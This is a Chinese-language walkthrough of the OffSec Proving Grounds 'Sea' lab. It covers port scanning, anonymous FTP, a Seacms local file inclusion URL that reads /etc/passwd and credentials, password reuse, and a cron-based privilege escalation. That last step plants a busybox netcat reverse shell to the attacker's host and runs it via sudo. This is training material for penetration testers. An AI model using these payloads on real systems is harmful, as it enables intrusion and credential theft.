本文最后更新于 2026年3月12日 下午
一、靶场详情
靶场名称:
Sea
靶场地址:
OffSec Proving Grounds Practice 实验环境
二、思路总结
突破边界:
方法一: FTP 匿名访问 –> 泄露网站目录资源 –> Seacms 本地文件包含 –> nicolas 用户密码 –> 用户旗帜
方法二: FTP 匿名访问 –> 泄露网站目录资源 –> 目录枚举,访问 th4o4p 目录 database.php –> nicolas 用户密码 –> 用户旗帜
权限提升:
方法一: 网站主目录目录枚举 –> database.php 泄露 root 用户密码 –> 管理员旗帜
方法二: pspy 进程监控 –> 分析 /bin/bin_replacer 脚本 –> /home/nicolas/bin 目录创建反弹 shell(.ps 文件) –> sudo 权限执行替换过的 ps –> 系统 root 用户权限 –> 管理员旗帜
三、靶场攻击演示
3.1 靶场信息收集
TCP 端口扫描:
1 2 3 4 5 6 7
| sudo nmap -p- 192.168.132.162 --min-rate=2000
PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 80/tcp open http 55743/tcp open unknown
|
UDP 端口扫描:未发现有价值信息。
TCP 服务信息搜集:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| sudo nmap -p21,22,80,55743 -sCV 192.168.132.162
PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.5 | ftp-anon: Anonymous FTP login allowed (FTP code 230) | -rw-rw-r-- 1 0 0 5637 Jun 14 22:04 log_01.log | -rw-rw-r-- 1 0 0 7181 Jun 15 07:48 log_02.log | -rw-rw-r-- 1 0 0 5627 Jun 14 22:05 log_03.log |_-rw-rw-r-- 1 0 0 5687 Jun 14 22:06 log_04.log | ftp-syst: | STAT: | FTP server status: | Connected to 192.168.45.227 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 1 | vsFTPd 3.0.5 - secure, fast, stable |_End of status 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 f2:5a:a9:66:65:3e:d0:b8:9d:a5:16:8c:e8:16:37:e2 (ECDSA) |_ 256 9b:2d:1d:f8:13:74:ce:96:82:4e:19:35:f9:7e:1b:68 (ED25519) 80/tcp open http Apache httpd 2.4.58 ((Ubuntu)) |_http-title: Villa Agency - Real Estate HTML5 Template |_http-server-header: Apache/2.4.58 (Ubuntu) 55743/tcp open http Apache httpd 2.4.58 ((Ubuntu)) | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set |_http-server-header: Apache/2.4.58 (Ubuntu) |_http-title: Sea Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
|
系统为 Linux 环境,开放有 HTTP、SSH 和 FTP 服务。
3.2 渗透测试突破边界
3.2.1 Seacms 本地文件包含得到 nicolas 用户密码
访问靶机 FTP 服务(匿名访问),将目录所有 log 文件下载至本地。
1 2 3
| ftp 192.168.132.162 anonymous/anonymous mget *
|

在 log_02 文件中发现一些路径资源信息。

依次访问靶机 HTTP 80 55743,通过页面信息得知 HTTP 55743 部署了海洋 CMS(Seacms )。

在 exploit-db 网站检索 seacms 漏洞,发现历史存在本地文件包含和远程命令执行漏洞。
1
| https://www.exploit-db.com
|

1
| https://www.exploit-db.com/exploits/49250
|

1
| https://www.exploit-db.com/exploits/49249
|

通过日志文件中泄露的路径资源,尝试通过文件包含漏洞读取 /etc/passwd 文件.

1
| http://192.168.132.162:55743/th4o4p/admin_safe.php?action=download&file=/etc/passwd
|

再次尝试读取 database.php 文件,得到 nicolas 用户密码。

SSH 连接靶机,得到系统 nicolas 用户权限。


如果尝试对根目录和 th4o4p 目录进行目录枚举,可以发现两个 database.php 文件,而且两个文件都包含有 nicolas 用户密码,事实上这属于靶机的意外攻击路径,不需要文件包含漏洞也可以得到靶机 ssh 登录密码。




3.2.2 用户旗帜获取

3.3 提权获取系统管理员权限
3.3.1 database.php 密码复用得到 root 用户权限(意外提权路径)
复用从根目录 database.php 获取的密码,可切换至系统 root 用户。

这并不是靶机想要考察的内容,属于意外的提权路径,接下来我们介绍另外一种提权思路。
3.3.2 计划任务提权至系统 root 权限(预期提权路径)
nicolas 用户可通过 sudo 以任意权限执行 /bin/ps aux 指令,单凭该配置无法提升至系统 root 用户权限。

上传 pspy 监控系统进程,发现系统会定时以 root 权限执行 /bin/bin_replacer 脚本。
1 2
| wget http://192.168.45.227/pspy64 chmod +x pspy64
|

普通用户无法修改脚本内容,所以不能通过写入反弹 shell 提权。

分析脚本内容:

我们可以在 /home/nicolas/bin 目录创建包含反弹 shell 的 .ps 文件,当计划任务再次运行时,/bin/ps 文件就会被替换成我们创建的 .ps 文件,我们通过 sudo 命令以 root 权限执行 /bin/ps aux 即可得到系统 root 权限 shell。
1 2 3 4
| cd /home/nicolas/bin echo "busybox nc 192.168.45.227 80 -e /bin/bash" > .ps nc -lvnp 80 sudo -u root /bin/ps aux
|


3.3.3 管理员旗帜获取

Thanks
如果我的文章对您有帮助或您希望与我更多交流,欢迎点击「关于我」,通过页面中的微信公众号、邮箱或 Discord 与我联系;若您发现文章中存在任何错误或不足之处,也非常欢迎通过以上方式指出,在此一并致以衷心的感谢。 😊🫡
最后,祝您生活愉快!🌞✨